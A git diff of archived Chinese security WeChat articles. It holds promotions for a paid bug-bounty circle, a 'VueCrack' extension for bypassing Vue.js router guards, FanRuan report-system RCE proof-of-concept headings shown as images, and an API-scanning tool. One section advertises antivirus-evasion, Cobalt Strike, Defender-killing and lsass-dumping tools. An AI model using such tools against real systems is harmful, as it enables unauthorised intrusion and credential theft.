+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + +04 + +0x4  +第一期挖洞培训课表内容 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVMibw6HiaoHUxJgNHUVfqCicbGSauW0QQBjLcC9H4gdOEyW3ZzLjTfyYibqGdaSueO9GDbbyicmckia2Kg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**内部圈子介绍（报课赠送）** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + + +**圈子专注于更新src/红蓝攻防相关：** + +``` +1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防） +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目（一起挣钱） +8、不定期有工作招聘内推（工作/护网内推） +9、送全国职业技能大赛环境+WP解析（比赛拿奖） +10、十个专栏会持续更新~提前续费有优惠，好用不贵很实惠 +11、每日内部资料分享，内部圈子资料1000+ +12、联系圈主获取：内部漏洞知识库+圈子使用手册+内部圈子交流群 +13、VX：routing_love，技术交流+疑问解决 +``` + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +（只要没有特殊情况，每天都保持更新） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibRSekfPpgmzg6Pn4yH440wEZhQZaJaxJds7olZp5H8Ma4PicQFclzGbQ/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "") + +**知识星球——** +**神农安全** + +**知识库部分大纲目录如下：** + +知识库跟 +知识星球联动，基本上每天保持 +更新，满足圈友的需求 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFhXF33IuCNWh4QOXjMyjshticibyeTV3ZmhJeGias5J14egV36UGXvwGSA/640?wx_fmt=png&from=appmsg "") + + +知识库和知识星球有师傅们关注的 +EDUSRC +和 +CNVD相关内容（内部资料） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFKDNucibvibBty5UMNwpjeq1ToHpicPxpNwvRNj3JzWlz4QT1kbFqEdnaA/640?wx_fmt=other&from=appmsg "") + + +还有网上流出来的各种 +SRC/CTF等课程视频 + +量大管饱，扫描下面的知识星球二维码加入即可 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "") + + +不会挖CNVD？不会挖EDURC？不会挖企业SRC？不会打nday和通杀漏洞？ + +直接加入我们小圈子： +知识星球+内部圈子交流群+知识库 + +快来吧！！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJ5wUOL9GnsxoXibKezHTjL6Yvuw6y8nm5ibyL388DdDFvuAtGypahRevg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUMULI8zm64NrH1pNBpf6yJO0FHgdr6ach2iaibDRwicrB3Ct1WWhg9PA0fPw2J1icGjQgKENYDozpVJg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1 "") + +神农安全知识库内部配置很多 +内部工具和资料💾， +玄机靶场邀请码+EDUSRC邀请码等等 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDNtEt0PfMwXQRzn9EDBdibLWNDZXVVjog7wDlAUK1h3Y7OicPQCYaw2eA/640?wx_fmt=png&from=appmsg "") + + +快要护网来临，是不是需要 +护网面试题汇总 +？ +问题+答案（超级详细🔎） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDbLia1oCDxSyuY4j0ooxgqOibabZUDCibIzicM6SL2CMuAAa1Qe4UIRdq1g/640?wx_fmt=png&from=appmsg "") + + +最后，师傅们也是希望找个 +好工作，那么常见的 +渗透测试/安服工程师/驻场面试题目，你值得拥有！！！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXjm2h60OalGLbwrsEO8gJDicYew8gfSB3nicq9RFgJIKFG1UWyC6ibgpialR2UZlicW3mOBqVib7SLyDtQ/640?wx_fmt=other&from=appmsg "") + + +**神农安全公开交流群** + +有需要的师傅们直接扫描文章二维码加入，然后要是后面群聊二维码扫描加入不了的师傅们，直接扫描文章开头的二维码加我（备注加群） + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWUbESIpm7ibTY4npJjceHaoE6lkicrweicg40cYjD33cyV4enIt4o3A0Ia9nZxB5icnEicNhetiaiafLnAmg/640?wx_fmt=jpeg&from=appmsg "") +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/b7iaH1LtiaKWW8vxK39q53Q3oictKW3VAXz4Qht144X0wjJcOMqPwhnh3ptlbTtxDvNMF8NJA6XbDcljZBsibalsVQ/640?wx_fmt=gif "") + + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&wxfrom=13&tp=wxpic "") + +**往期回顾** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&wxfrom=13&tp=wxpic "") + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[手把手js逆向断点调试&js逆向前端加密对抗&企业SRC实战分享](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247495361&idx=1&sn=48283073b325e360823da8dec27a7508&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[浅谈src漏洞挖掘中容易出洞的几种姿势](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247489731&idx=1&sn=c3a5ef01648fad496ecda36b653b6e21&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[HVV护网行动 | 分享最近攻防演练HVV漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247488672&idx=1&sn=493bb70011a02eb971ff1b74c733f1d9&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[攻防演练｜分享最近一次攻防演练RTSP奇特之旅](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492377&idx=1&sn=a94ad30e30e08bd96e888dad744e9814&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[JS漏洞挖掘｜分享使用FindSomething联动的挖掘思路](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492315&idx=1&sn=88991e98058a277e267a9a79b8518e16&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[渗透测试 ｜ 从jeecg接口泄露到任意管理员用户接管+SQL注入漏洞](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493292&idx=1&sn=611fd43361089a30e5f7bcda21274b95&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[分享SRC中后台登录处站点的漏洞挖掘技巧](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247485439&idx=1&sn=3fd7e4cef57edca8e73104f8af38fc05&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[企业SRC支付漏洞&EDUSRC&众测挖掘思路技巧操作分享](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492839&idx=1&sn=b9781f60580c1da8e2151166f0494ba5&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[渗透测试 ｜ 分享某次项目上的渗透测试漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493495&idx=1&sn=791bebc6faa651cc3c585c2f5f481d21&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[【宝典】分享云安全浪潮src漏洞挖掘技巧](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247494877&idx=1&sn=2d00c0f651fd7375e881be86638e53ce&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[实战SRC挖掘｜微信小程序渗透漏洞复盘](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247494468&idx=1&sn=f0da4b4ff7763cbb83b858fb5a8964f9&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[综合资产测绘 | 手把手带你搞定信息收集](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493749&idx=1&sn=d2e0febcdcf9dcd8aa44be0d43b51936&scene=21#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EXTCGqBpVJRSicyOOePGE9sGceAg4JcsCFHMqeE6O6zJJaSXkw6VEiaHibGnD0DzgYpbzhdbaTbsMKhJLte7sOt1g/640?wx_fmt=png&from=appmsg&tp=wxpic&wxfrom=5&wx_lazy=1 "") + +[【宝典】针对若依系统nday的常见各种姿势利用](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247493489&idx=1&sn=d3ef10a1ae3b8c161d7174cb42702fac&scene=21#wechat_redirect) + + + diff --git a/doc/2026-02/工具推荐 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞.md b/doc/2026-02/工具推荐 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞.md new file mode 100644 index 00000000..45dd354e --- /dev/null +++ b/doc/2026-02/工具推荐 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞.md @@ -0,0 +1,184 @@ +# 工具推荐 | 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞 +Ad1euDa1e + Ad1euDa1e 星落安全团队 2026-02-02 16:00 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/spc4mP9cfo75FXwfFhKxbGU93Z4H0tgt4O9libYH9mKfZdHgvke0CeibvXDtNcdaqamRk3dEEcRQiaWbGiacZ2waVw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=0 "") + +点击上方 +蓝字 +关注我们 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/WN0ZdfFXY80dA2Z4y8cq7zy2dicHmWOIib5sIn8xAxRIzJibo2fwVZ3aicVBM8RnAqRPH5Libr4f02Zs5YnMLBcREnA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=1 "") + + +现在只对常读和星标的公众号才展示大图推送，建议大家能把 +**星落安全团队** +“ +**设为星标** +”， +否则可能就看不到了啦 +！ + +【 +声明 +】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0flllkHeOo24ias7Bmd5d3mpRHiaLsyxZsb2F234p6J7WF8a0WA7UOBQticfMelicXf0BCz3DGegSkKH3uABw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&watermark=1&tp=webp#imgIndex=2 "") + +**工具介绍** + +VueCrack +这是一个专为红队人员开发的浏览器插件，用于分析Vue框架网站的路由结构，并绕过路由守卫，从而发现站点的**隐藏资产** +与**未授权访问漏洞** +。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/rlSBJ0flllm468SwvLRVA7g1YjVPzrqzN2STJYqaQsY3zmd3kAY8ChqdF8RnOxm4FA50WAArBv2W2BCibSUGwiaQ/640?wx_fmt=jpeg "") +## 💻 开发背景 +- 本工具源于实际攻防中的需求，在对使用VUE框架的站点进行测试时，我们发现大量VUE站点绕过前端路由后，可以未授权访问站点页面，本插件简化了手动测试步骤，提高红队行动效率。 + +- **本工具已多次在攻防、SRC挖掘场景中出货。** +## 📝核心功能 +- **自动检测Vue框架** +：快速识别目标站点是否使用Vue.js + +- **绕过路由守卫** +：自动清除路由守卫，允许访问受保护路由 + +- **修改鉴权字段** +：自动修改路由元信息中的auth字段，绕过前端权限检查 + +- **路由结构分析** +：提取所有路由路径，包括可能隐藏的管理页面 + +- **批量操作** +：支持一键复制和访问所有发现的路由 + +![](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0flllm468SwvLRVA7g1YjVPzrqzT9RlGqPyVlzo4oMSknPFqnZRyO59f6DxGrFVsicOk6d25xXKQsjPEZg/640?wx_fmt=png&from=appmsg "") +## 🔧使用方法 +1. 在 Chrome 或基于 Chromium 的浏览器中安装此扩展 + +1. 访问基于 Vue.js 的网站 + +1. 点击扩展图标，工具将显示所有可能的 URL 路径 + +1. 使用生成的 URL 列表，尝试访问目标站点的受限页面 + +1. 利用“打开”按钮直接导航到可能的未授权页面 + +## 📄技术实现 +- **多重检测引擎** +：使用多种策略检测Vue及Router实例 + +- **守卫清除机制** +：通过修改Router原型方法清除beforeEach等路由守卫 + +- **权限标志修改** +：递归遍历路由树，修改所有auth相关字段 + +- **内存路由提取** +：直接从内存中获取完整路由表，包括隐藏路由 + +![](https://mmbiz.qpic.cn/mmbiz_png/rlSBJ0flllm468SwvLRVA7g1YjVPzrqzgduV2ghLdMfu4u7cRicsHHro6icMNmnocfdUw6MWJ7NdHibicib1lHcqhcg/640?wx_fmt=png&from=appmsg "") + + +**相关地址** + +**关注微信公众号后台回复“入群”，即可进入星落安全交流群！** + +关注微信公众号后台回复“ +20260203 +**”，即可获取项目下载地址！** + +**** + +**** +**圈子介绍** + +博主介绍 +： + + +目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。 + + +目前已经更新的免杀内容： +- 部分免杀项目源代码 + +- 星落安全内部免杀工具箱1.0 + +- CobaltStrike4.9.1星落专版1.9 + +- 一键击溃windows defender + +- 一键击溃火绒进程 + +-   +CobaltStrike免杀加载器 + +- 数据库直连工具免杀版 + +- aspx文件自动上线cobaltbrike + +- jsp文件 +自动上线cobaltbrike + +- 哥斯拉免杀工具  +XlByPassGodzilla + +- 冰蝎免杀工具 XlByPassBehinder + +- 冰蝎星落专版 xlbehinder + +- 正向代理工具 xleoreg + +- 反向代理工具xlfrc + +- 内网扫描工具 xlscan + +- Todesk/向日葵密码读取工具 + +- 导出lsass内存工具 xlrls + +- 绕过WAF免杀工具 ByPassWAF + +- 等等... + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/DWntM1sE7icZvkNdicBYEs6uicWp0yXACpt25KZIiciaY7ceKVwuzibYLSoup8ib3Aghm4KviaLyknWsYwTHv3euItxyCQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=9 "") + + +目前星球已满1000人，价格由208元 +调整为 +218元( +交个朋友啦 +)，1100名以后涨价至268元。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/rlSBJ0flllk2esLaDRsI4yjB0HkCibHzialJBFBfcyeib4RRsQTOiamqSvAfZogia7pIcSY9lvfTicWXuTcCgtu3NP1w/640?wx_fmt=jpeg "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/MuoJjD4x9x3siaaGcOb598S56dSGAkNBwpF7IKjfj1vFmfagbF6iaiceKY4RGibdwBzJyeLS59NlowRF39EPwSCbeQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=11 "") + +    +往期推荐 +    + + +1.[加量不加价 | 星落免杀第二期，助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495969&idx=1&sn=d3379e8f69c2cefb6d0564299e13d579&scene=21#wechat_redirect) + + + +2.[【干货】你不得不学习的内网渗透手法](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&scene=21#wechat_redirect) + + + +3.[新增全新Web UI版本，操作与管理全面升级 | GoCobalt Strike 2.0正式发布！](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247497899&idx=1&sn=018f02ef4064930cbcb40d6b0495e136&scene=21#wechat_redirect) + + + +4.[【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21&token=458856676&lang=zh_CN#wechat_redirect) + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/DWntM1sE7icZvkNdicBYEs6uicWp0yXACpt25KZIiciaY7ceKVwuzibYLSoup8ib3Aghm4KviaLyknWsYwTHv3euItxyCQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=12 "") + + diff --git a/doc/2026-02/帆软报表指纹POC集成.md b/doc/2026-02/帆软报表指纹POC集成.md new file mode 100644 index 00000000..195a17e8 --- /dev/null +++ b/doc/2026-02/帆软报表指纹POC集成.md @@ -0,0 +1,39 @@ +# 帆软报表指纹POC集成 +安全艺术 + 安全艺术 安全艺术 2026-02-03 00:18 + +# 1. 指纹信息 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxz7EpibzlQqB3XclDJEM18mIsVpRYKtbbDXWqYAAicticEaQB8ibrRgk4I9g/640?wx_fmt=png&from=appmsg "") +# 2. POC信息 +## 2.1. 帆软报表系统export excel接口存在SQL注入导致RCE + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzHecjpzjibYncVH5oJeIBadoDUBJ2zwF1mnA7k8nuu1TRvZ3n0gG9eVA/640?wx_fmt=png&from=appmsg "") +## 2.2. 帆软报表系统ReportServer接口存在SQL注入导致RCE + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxz7SKz2zUMta3UaiaVgeejCxyk9foLjxIwVj2thCog1ibndHflhibbMSFWw/640?wx_fmt=png&from=appmsg "") +## 2.3. 帆软报表系统print/ie/pdf接口rce + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzNRz1twxINPwR1RibyutkS9uUPPthBpAibVRNNcL4oYGS963MCdPZSeFw/640?wx_fmt=png&from=appmsg "") +## 2.4. 帆软报表channel存在远程命令执行漏洞 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzl9qdxSmicQDlDLNAvedIIibgUuwON823WfFcRc5afENMVnGDwS3pYrHA/640?wx_fmt=png&from=appmsg "") +# 3. dddd集成 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzriaPkgbHlqvBCA8BGBjREcGaI8uicU38DmvDvO3qVmecfgN21IfpB5GA/640?wx_fmt=other&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxz2HYOqFRwIZQCTjtNZhENHMZlEjZBSGwKXlKkHLjXb3jibwSNgeYHjkA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxznAqFCymAvj77iapGHXfgIcrAkgc3b36OCzLFRo0pD2Kbzbg7NAVNF1A/640?wx_fmt=png&from=appmsg "") +# 4. 结果验证 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzghuibzAK3UWcR31hTr0UD263WGYRkq6zUouvo7SL8Owh8XphDXicFdJg/640?wx_fmt=png&from=appmsg "") +# + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzD3TO01f4tyoOmKJh0ju7TaArF7gNmaRZBBpxuUib6gvAxSyhEKO8n6g/640?wx_fmt=png&from=appmsg "") +# 5. 加入安艺圈 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/X5epWh2K2OpYLCDvaUzgG3Vdy9NNeAxzUjbXdpJEtSjP2IZC3Q97vq3frkpW4raRwFAQnSMz38VeYdeqOEo5RQ/640?wx_fmt=png&from=appmsg "") + +**关注"安全艺术"微信公众号，后台回复"dddd"获取圈主联系方式。** + diff --git a/doc/2026-02/无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具ApiHunter.md b/doc/2026-02/无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具ApiHunter.md index b145407a..07f2de9a 100644 --- a/doc/2026-02/无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具ApiHunter.md +++ b/doc/2026-02/无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具ApiHunter.md @@ -1,77 +1,68 @@ # 无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter -11firefly - 11firefly 渗透安全HackTwo 2026-02-02 16:00 +星夜AI安全 + 星夜AI安全 星夜AI安全 2026-02-03 00:16 -0x01 工具介绍 +📌各位可以将公众号设为星标⭐ +📌这样就不会错过每期的推荐内容啦~ -Swagger 文档未授权访问是 API 渗透测试的高频突破口，但人工手动构造请求包、填充参数不仅耗时耗力，还极易遗漏关键接口。今天为大家推荐星球成员 @11firefly11 倾力开发的开源利器 ——ApiHunter！它专为解决上述痛点而生，支持 Swagger 2.0/3.0 文档一键解析，无需手动抓包或构包，自动提取所有接口端点、请求方法与参数定义。内置 100 + 敏感信息检测规则，能秒级捕获密钥、Token、数据库连接串等泄露数据，搭配交互式重发功能，让未授权 API 测试效率翻倍，现已在 GitHub 开源，助力数据抓取与 API 测试高效稳定推进！ +📌这对我真的很重要！ + +![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2lAVT6CicZmYO3GGZre7KEwxiaouHrUbg3rQ0UUVhEI7eDxct12pq4ITqI98fcU1rsJXlHib3VF1n4ew/640?wx_fmt=png&from=appmsg "image") + +📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流，仅供个人学习提升安全意识、了解防护手段，禁止用于任何违法活动，否则使用者自行承担法律后果。 + +📌2. 所分享内容及工具虽具普遍性，但因场景、版本、系统等因素，无法保证完全适用，使用者要自行承担知识运用不当、工具使用故障带来的损失。 + +📌3. 使用者在学习操作过程中务必遵守法规道德，面对有风险环节需谨慎预估后果、做好防护，若未谨慎操作引发信息泄露、设备损坏等不良后果，责任自负。 +# 0x01 工具介绍 + +Swagger 文档的未授权访问是 API 渗透测试中一个常见且高效的突破口。然而，通过人工方式手动构造请求包、逐一填充参数不仅耗费大量时间与精力，还很容易遗漏关键的接口。今天要为大家推荐的是由星球成员 @11firefly11 精心开发的开源利器——ApiHunter！这款工具正是为了解决上述痛点而设计，它支持一键解析 Swagger 2.0/3.0 文档，无需手动抓包或构建请求包，就能自动提取出所有接口的端点、请求方法以及参数定义。工具内置了超过 100 条敏感信息检测规则，能够快速捕获密钥、Token、数据库连接字符串等泄露的数据。结合其交互式重发功能，可以显著提升未授权 API 的测试效率。目前该工具已在 GitHub 上开源，旨在高效、稳定地推进数据抓取与 API 测试工作！ ![](https://mmbiz.qpic.cn/sz_mmbiz_png/RjOvISzUFq7R1Ple9xaH4dico0xLOxO4OQlrGt1Ax62pRX5ibbiajUkz5Quqkw9iaMX1BUx0Y5nO2hC0fGTichGAibjQ/640?wx_fmt=png&from=appmsg "") - -注意： -现在只对常读和星标的公众号才展示大图推送，建议大家把 -**渗透安全HackTwo** -"**设为****星标⭐️** -" -**否****则可能就看不到了啦！** - -**下载地址在末尾 #渗透安全HackTwo** - -0x02  -功能简介 - +# 0x02 功能简介 ✨ 主要特性 -多类型文档一键解析： -支持 Swagger 2.0/3.0 JSON 文档、ASP.NET Web API Help Page 网页一键导入，自动解析所有接口端点、请求方法及参数定义，省去手动抓包 / 构包的繁琐，覆盖现代前后端分离架构与传统.NET 应用场景。 +**多类型文档一键解析** +：支持将 Swagger 2.0/3.0 JSON 文档、ASP.NET Web API Help Page 网页一键导入，自动解析所有接口端点、请求方法及参数定义，省去了手动抓包或构包的繁琐步骤，覆盖了现代前后端分离架构以及传统的 .NET 应用场景。 